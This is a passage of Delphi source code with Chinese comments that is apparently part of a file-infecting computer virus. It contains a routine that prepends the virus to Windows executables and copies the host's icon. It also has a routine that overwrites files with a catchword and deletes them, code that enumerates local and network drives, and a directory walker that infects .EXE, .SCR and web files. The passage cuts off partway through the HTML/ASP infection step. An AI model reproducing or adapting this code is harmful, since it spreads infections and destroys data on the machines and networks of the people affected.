soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是 PE 文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744 字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前
程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4);
finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入我非常爱你码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入我非常爱你码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catch
word); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入我非常爱你码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end;
{ 获得可写的驱动器
列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历 26 个字母 begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); //得到本
地磁盘和
网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin
repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染
HTML 和 ASP 文件,将 Base64 编码后的病毒写入 //感